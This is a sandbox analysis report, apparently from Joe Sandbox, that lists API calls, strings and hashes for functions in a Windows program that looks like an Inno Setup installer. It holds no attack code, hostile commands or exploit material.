Function 0045C4A0 Relevance: 1.3, APIs: 1, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0045C530

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0d17fe96e3633b4bce3b832ac9760b9aaf1ce13a3da319c575eb1aa85a739f95
Instruction ID: 14a4b43ea6d34418f5281b9fa506a5ac76af5718967a6568408b7e2708702b1d
Opcode Fuzzy Hash: 0d17fe96e3633b4bce3b832ac9760b9aaf1ce13a3da319c575eb1aa85a739f95
Instruction Fuzzy Hash: 38116D716003049FDB10EF59C8C1B5B77A4AF8035AF04856AFD589B2C7DA38E8098B6A

Function 0041F334 Relevance: 1.3, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,00000000,0041ED14,?,004237FF,00423B7C,0041ED14), ref: 0041F352

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 51e3fafbdfe8660b505851f4d6be169e8525a68d4396489dbf7e9f5c1b76ca38
Instruction ID: b4617262a153a49870252b9da37c83347ffd54b91452f412ea0f349906787434
Opcode Fuzzy Hash: 51e3fafbdfe8660b505851f4d6be169e8525a68d4396489dbf7e9f5c1b76ca38
Instruction Fuzzy Hash: 361118742407099BC710DF59D881B86FBE5EB983A0B10C53BED688B385D378E945CBA9

Function 0040170C Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,?,00004000,?,?,?,00000000,00004003,00401973), ref: 00401766

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 09cabece21cf584f7b8116981dfbad3f8653d6c5a4f55eb454a10d9661d4edbc
Instruction ID: dd39995c24d96b1f0cd65365fb3acc738aa13d81c460f04ccbda7f03c85f078f
Opcode Fuzzy Hash: 09cabece21cf584f7b8116981dfbad3f8653d6c5a4f55eb454a10d9661d4edbc
Instruction Fuzzy Hash: 6D01FC766442148FC3109F69DCC0E2677E8D794378F16453EDA85673A1D37A6C018BDC

Function 00451CEC Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00451D55), ref: 00451D37

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 71e2df81562d081cfc3b7c0604159a17834d755aac5edb84eb94c15d08a8dafe
Instruction ID: e3d7173dcba9813c1ba58f59c584787317fa7bacb17c2f5dfad0096e4185b841
Opcode Fuzzy Hash: 71e2df81562d081cfc3b7c0604159a17834d755aac5edb84eb94c15d08a8dafe
Instruction Fuzzy Hash: 33014C35A042086A8B11DF69A800AEEBBFCDB493307204277EC24C3352D7345D0896A4

Function 0045C448 Relevance: 1.3, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,0045C526), ref: 0045C45F

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: d768226e7fba4269a657a5b5fd178533c35ed0e4588795ab0a1def39923edae1
Instruction ID: 1478ebf07427cf02148a29aa6d11c6baa8331ab22c4979bc7c5621885ffd690e
Opcode Fuzzy Hash: d768226e7fba4269a657a5b5fd178533c35ed0e4588795ab0a1def39923edae1
Instruction Fuzzy Hash: A3D0E9B17557045FDF90EE798CC1B1637D8BB48701F5044666904DB28AE674E804CA58

Function 00406EB0 Relevance: 1.3, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00406EB1

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 6426b765ee4710f80a467e35d2b5e2dcb1ef302f189ca94f8ea113479ab17829
Instruction ID: 073c3129693101c5e7833b7ffa09eca8aa7a1e81ff9bb2ce6bcaaab03392c7d4
Opcode Fuzzy Hash: 6426b765ee4710f80a467e35d2b5e2dcb1ef302f189ca94f8ea113479ab17829
Instruction Fuzzy Hash:

Non-executed Functions

Function 0041F088 Relevance: 45.6, APIs: 15, Strings: 11, Instructions: 87libraryloaderCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(?,00418F60,00000000,?,?,?,00000001), ref: 0041F096
SetErrorMode.KERNEL32(00008000,?,00418F60,00000000,?,?,?,00000001), ref: 0041F0B2
LoadLibraryA.KERNEL32(CTL3D32.DLL,00008000,?,00418F60,00000000,?,?,?,00000001), ref: 0041F0BE
SetErrorMode.KERNEL32(00000000,CTL3D32.DLL,00008000,?,00418F60,00000000,?,?,?,00000001), ref: 0041F0CC
GetProcAddress.KERNEL32(00000001,Ctl3dRegister), ref: 0041F0FC
GetProcAddress.KERNEL32(00000001,Ctl3dUnregister), ref: 0041F125
GetProcAddress.KERNEL32(00000001,Ctl3dSubclassCtl), ref: 0041F13A
GetProcAddress.KERNEL32(00000001,Ctl3dSubclassDlgEx), ref: 0041F14F
GetProcAddress.KERNEL32(00000001,Ctl3dDlgFramePaint), ref: 0041F164
GetProcAddress.KERNEL32(00000001,Ctl3dCtlColorEx), ref: 0041F179
GetProcAddress.KERNEL32(00000001,Ctl3dAutoSubclass), ref: 0041F18E
GetProcAddress.KERNEL32(00000001,Ctl3dUnAutoSubclass), ref: 0041F1A3
GetProcAddress.KERNEL32(00000001,Ctl3DColorChange), ref: 0041F1B8
GetProcAddress.KERNEL32(00000001,BtnWndProc3d), ref: 0041F1CD
FreeLibrary.KERNEL32(00000001,?,00418F60,00000000,?,?,?,00000001), ref: 0041F1DF

Strings

Ctl3dSubclassDlgEx, xrefs: 0041F144
Ctl3dRegister, xrefs: 0041F0F1
BtnWndProc3d, xrefs: 0041F1C2
Ctl3dAutoSubclass, xrefs: 0041F183
Ctl3dSubclassCtl, xrefs: 0041F12F
Ctl3DColorChange, xrefs: 0041F1AD
Ctl3dUnAutoSubclass, xrefs: 0041F198
CTL3D32.DLL, xrefs: 0041F0B9
Ctl3dUnregister, xrefs: 0041F11A
Ctl3dDlgFramePaint, xrefs: 0041F159
Ctl3dCtlColorEx, xrefs: 0041F16E

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressProc$ErrorLibraryMode$FreeLoadVersion
String ID: BtnWndProc3d$CTL3D32.DLL$Ctl3DColorChange$Ctl3dAutoSubclass$Ctl3dCtlColorEx$Ctl3dDlgFramePaint$Ctl3dRegister$Ctl3dSubclassCtl$Ctl3dSubclassDlgEx$Ctl3dUnAutoSubclass$Ctl3dUnregister
API String ID: 2323315520-3614243559
Opcode ID: 905ad1abe554de4c9c87ee93fc66b05e811c282670d156124e80981e2e022fa2
Instruction ID: da08133687b7634b50b6c6a847516dd753fa1eb4508864759417a9d87976edef
Opcode Fuzzy Hash: 905ad1abe554de4c9c87ee93fc66b05e811c282670d156124e80981e2e022fa2
Instruction Fuzzy Hash: 3531F0B1640740EBDB00EBF5EC86E653654F768B28756093BB608DB162D77D488ACB1C

Function 00456EE4 Relevance: 40.4, APIs: 11, Strings: 12, Instructions: 186pipeprocessfileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00456F4B
QueryPerformanceCounter.KERNEL32(02123858,00000000,004571DE,?,?,02123858,00000000,?,004578DA,?,02123858,00000000), ref: 00456F54
GetSystemTimeAsFileTime.KERNEL32(02123858,02123858), ref: 00456F5E
GetCurrentProcessId.KERNEL32(?,02123858,00000000,004571DE,?,?,02123858,00000000,?,004578DA,?,02123858,00000000), ref: 00456F67
CreateNamedPipeA.KERNEL32(00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000), ref: 00456FDD
GetLastError.KERNEL32(00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000,?,02123858,02123858), ref: 00456FEB
CreateFileA.KERNEL32(00000000,C0000000,00000000,00494AB0,00000003,00000000,00000000,00000000,0045719A), ref: 00457033
SetNamedPipeHandleState.KERNEL32(000000FF,00000002,00000000,00000000,00000000,00457189,?,00000000,C0000000,00000000,00494AB0,00000003,00000000,00000000,00000000,0045719A), ref: 0045706C

Part of subcall function 0042D7A0: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D7B3

CreateProcessA.KERNEL32(00000000,00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000,00000000), ref: 00457115
CloseHandle.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000), ref: 0045714B
CloseHandle.KERNEL32(000000FF,00457190,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000,00000000), ref: 00457183

Part of subcall function 004521C4: GetLastError.KERNEL32(00000000,00452C35,00000005,00000000,00452C6A,?,?,00000000,00496628,00000004,00000000,00000000,00000000,?,00493575,00000000), ref: 004521C7

Strings

CreateNamedPipe, xrefs: 00456FFB
D, xrefs: 0045708E
Starting 64-bit helper process., xrefs: 00456F19
SetNamedPipeHandleState, xrefs: 00457075
helper %d 0x%x, xrefs: 004570F4
i, xrefs: 004570C8
\\.\pipe\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x, xrefs: 00456FB3
Helper process PID: %u, xrefs: 00457168
Cannot utilize 64-bit features on this version of Windows, xrefs: 00456F2C
64-bit helper EXE wasn't extracted, xrefs: 00456F3F
CreateProcess, xrefs: 0045711E
CreateFile, xrefs: 00457041

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CreateHandle$CloseErrorFileLastNamedPipeProcessSystemTime$CountCounterCurrentDirectoryPerformanceQueryStateTick
String ID: 64-bit helper EXE wasn't extracted$Cannot utilize 64-bit features on this version of Windows$CreateFile$CreateNamedPipe$CreateProcess$D$Helper process PID: %u$SetNamedPipeHandleState$Starting 64-bit helper process.$\\.\pipe\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x$helper %d 0x%x$i
API String ID: 770386003-3271284199
Opcode ID: db8fd2fc78e565b827584a2edf5057b8c02e1c2819e108cfb918dd51187f8bd3
Instruction ID: 74aa415ad1ea60bbdae350522e06097b085bab64edb15c432539c789e3fb1ec4
Opcode Fuzzy Hash: db8fd2fc78e565b827584a2edf5057b8c02e1c2819e108cfb918dd51187f8bd3
Instruction Fuzzy Hash: BE713470E047449EDB10EB65DC45B9EBBF8AB09705F1084BAF908FB282D7785944CF69

Function 0045B3F4 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 182libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32 ref: 0045B40E
GetModuleHandleA.KERNEL32(advapi32.dll), ref: 0045B42E
GetProcAddress.KERNEL32(00000000,GetNamedSecurityInfoW), ref: 0045B43B
GetProcAddress.KERNEL32(00000000,SetNamedSecurityInfoW), ref: 0045B448
GetProcAddress.KERNEL32(00000000,SetEntriesInAclW), ref: 0045B456

Part of subcall function 0045B2FC: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,0045B39B,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0045B375

AllocateAndInitializeSid.ADVAPI32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0045B649,?,?,00000000), ref: 0045B50F
GetLastError.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0045B649,?,?,00000000), ref: 0045B518

Strings

GetNamedSecurityInfoW, xrefs: 0045B435
advapi32.dll, xrefs: 0045B429
SetNamedSecurityInfoW, xrefs: 0045B442
W, xrefs: 0045B526
SetEntriesInAclW, xrefs: 0045B450

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressProc$AllocateByteCharErrorHandleInitializeLastModuleMultiVersionWide
String ID: GetNamedSecurityInfoW$SetEntriesInAclW$SetNamedSecurityInfoW$W$advapi32.dll
API String ID: 59345061-4263478283
Opcode ID: 43cf285be75af16d28b70a61d725766e54ef82dd91fe4d8500f2a4656713b6ea
Instruction ID: 6c61bc0a80eb4c4dbfce7050d99b8824e7e44c683a952ee731b7dc2fcda1d9fb
Opcode Fuzzy Hash: 43cf285be75af16d28b70a61d725766e54ef82dd91fe4d8500f2a4656713b6ea
Instruction Fuzzy Hash: D95183B0900608EFDB10DF99C841BEEB7B8EB49715F14806AF914B7382D7789945CFA9

Function 00473FB8 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 77COMMON

Download Yara Rule

APIs

ShellExecuteEx.SHELL32(0000003C), ref: 0047400B
GetLastError.KERNEL32(?,?), ref: 00474014
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000000FF), ref: 00474061
GetExitCodeProcess.KERNEL32(00000000,00000000), ref: 00474085
CloseHandle.KERNEL32(00000000,004740B6,00000000,00000000,000000FF,000000FF,00000000,004740AF,?,?,?), ref: 004740A9

Strings

ShellExecuteEx returned hProcess=0, xrefs: 00474035
<, xrefs: 00473FD6
ShellExecuteEx, xrefs: 00474025
MsgWaitForMultipleObjects, xrefs: 0047406E
GetExitCodeProcess, xrefs: 0047408E
runas, xrefs: 00473FE4

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseCodeErrorExecuteExitHandleLastMultipleObjectsProcessShellWait
String ID: <$GetExitCodeProcess$MsgWaitForMultipleObjects$ShellExecuteEx$ShellExecuteEx returned hProcess=0$runas
API String ID: 171997614-221126205
Opcode ID: 5b8597bcbc8f8c5ae3c4155d609866ba6a553f42b55d50e207bb29467e8107af
Instruction ID: 21abd225cb95cd52fde85432385c755240643f660143bcd0d2c87c57ea318f0c
Opcode Fuzzy Hash: 5b8597bcbc8f8c5ae3c4155d609866ba6a553f42b55d50e207bb29467e8107af
Instruction Fuzzy Hash: C2216570A04644AEDB14EBA98942AEE76E8EB45314F50857BF708F73C2DB7C89048B5D

Function 004227CC Relevance: 18.3, APIs: 12, Instructions: 255windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00000223,00000000,00000000), ref: 00422964
ShowWindow.USER32(00000000,00000003,00000000,00000223,00000000,00000000,00000000,00422B2E), ref: 00422974

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: MessageSendShowWindow
String ID:
API String ID: 1631623395-0
Opcode ID: dab1c7a95abb2f6b78a5b5496c47886fe6a5887a187a3e5c78a325a4ca6a616d
Instruction ID: 22a298226f26ad5282d2b06c056c5494fcfa573f7ff451a3aba74327ab4f92ef
Opcode Fuzzy Hash: dab1c7a95abb2f6b78a5b5496c47886fe6a5887a187a3e5c78a325a4ca6a616d
Instruction Fuzzy Hash: A6917271B04214FFD710EBA9DA86F9D77F4AB09314F5104BAF504AB3A2C778AE409B58

Function 004182F4 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00418303
GetWindowPlacement.USER32(?,0000002C), ref: 00418320
GetWindowRect.USER32(?), ref: 0041833C
GetWindowLongA.USER32(?,000000F0), ref: 0041834A
GetWindowLongA.USER32(?,000000F8), ref: 0041835F
ScreenToClient.USER32(00000000), ref: 00418368
ScreenToClient.USER32(00000000,?), ref: 00418373

Strings

,, xrefs: 0041830C

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Window$ClientLongScreen$IconicPlacementRect
String ID: ,
API String ID: 2266315723-3772416878
Opcode ID: 6e73cc248294e567c08844e3e97027ea107a04c87d830052551685df03000aaa
Instruction ID: 9cf88c6662a8b54f2d940af1896da5675c8924d24fa9a5d7825e36bf04e718ba
Opcode Fuzzy Hash: 6e73cc248294e567c08844e3e97027ea107a04c87d830052551685df03000aaa
Instruction Fuzzy Hash: 40112B71505201AFDB00DF69C885F9B77E8AF49314F18067EBD58DB286C739D900CB69

Function 004540F0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 41shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028), ref: 004540FF
OpenProcessToken.ADVAPI32(00000000,00000028), ref: 00454105
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,00000028), ref: 0045411E
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000002,00000000,00000000,00000000), ref: 00454145
GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 0045414A
ExitWindowsEx.USER32(00000002,00000000), ref: 0045415B

Strings

SeShutdownPrivilege, xrefs: 00454117

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 107509674-3733053543
Opcode ID: 6d326c56e3389c6054edbf04cc0a0bfa3430e689102129bb81e0ccce36095d02
Instruction ID: 23e316a6b65d16f9dfa0652e36dd3acbc823fd2f88bfdf927afa7474fa9dcef7
Opcode Fuzzy Hash: 6d326c56e3389c6054edbf04cc0a0bfa3430e689102129bb81e0ccce36095d02
Instruction Fuzzy Hash: F4F0687028470275E610A6718C0BF6B219897D0B4DF50492ABE55EE1C3D7BCD98C8A2A

Function 0045B9BC Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(10000000,ISCryptGetVersion), ref: 0045B9C5
GetProcAddress.KERNEL32(10000000,ArcFourInit), ref: 0045B9D5
GetProcAddress.KERNEL32(10000000,ArcFourCrypt), ref: 0045B9E5
ISCryptGetVersion._ISCRYPT(10000000,ArcFourCrypt,10000000,ArcFourInit,10000000,ISCryptGetVersion,?,0047ADB7,00000000,0047ADE0), ref: 0045BA0A

Strings

ISCryptGetVersion, xrefs: 0045B9BF
ArcFourCrypt, xrefs: 0045B9DF
ArcFourInit, xrefs: 0045B9CF

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressProc$CryptVersion
String ID: ArcFourCrypt$ArcFourInit$ISCryptGetVersion
API String ID: 1951258720-508647305
Opcode ID: bb245507e40185cfc3454a96feae2fb86a921a1e24ca28a56a513b06711a4f80
Instruction ID: 3310e940ea810e7a4cfc61d0fb1510fb446f85d9db7b56b365dbfe59fc7890d4
Opcode Fuzzy Hash: bb245507e40185cfc3454a96feae2fb86a921a1e24ca28a56a513b06711a4f80
Instruction Fuzzy Hash: 6FF030B0529700CBDB15DF76AC85B633795E7A035AF04C83BA404A52B2D77C0948DFAC

Function 00493274 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 90fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,004933B2,?,?,00000000,00496628,?,0049353C,00000000,00493590,?,?,00000000,00496628), ref: 004932CB
SetFileAttributesA.KERNEL32(00000000,00000010), ref: 0049334E
FindNextFileA.KERNEL32(000000FF,?,00000000,0049338A,?,00000000,?,00000000,004933B2,?,?,00000000,00496628,?,0049353C,00000000), ref: 00493366
FindClose.KERNEL32(000000FF,00493391,0049338A,?,00000000,?,00000000,004933B2,?,?,00000000,00496628,?,0049353C,00000000,00493590), ref: 00493384

Strings

isRS-, xrefs: 004932EB
isRS-???.tmp, xrefs: 004932B5

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstNext
String ID: isRS-$isRS-???.tmp
API String ID: 134685335-3422211394
Opcode ID: 172fabb35fda56184fcc6afeec7ce7ac32534be04a4058a378d8e503f55c2e3a
Instruction ID: 5633c822496b3c15561250c09836fafcff3343a2b8121c6b265d8e662121e78b
Opcode Fuzzy Hash: 172fabb35fda56184fcc6afeec7ce7ac32534be04a4058a378d8e503f55c2e3a
Instruction Fuzzy Hash: 0C316671900618ABDF20EF66CC41ADEBBBCDB45315F5045B6AC08A32A1DA389F458E58

Function 00455958 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 238windownativeCOMMON

Download Yara Rule

APIs

PostMessageA.USER32(00000000,00000000,00000000,00000000), ref: 004559D5
PostMessageA.USER32(00000000,00000000,00000000,00000000), ref: 004559FC
SetForegroundWindow.USER32(?), ref: 00455A0D
NtdllDefWindowProc_A.USER32(00000000,?,?,?,00000000,00455CE9,?,00000000,00455D25), ref: 00455CD4

Strings

Cannot evaluate variable because [Code] isn't running yet, xrefs: 00455B54

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
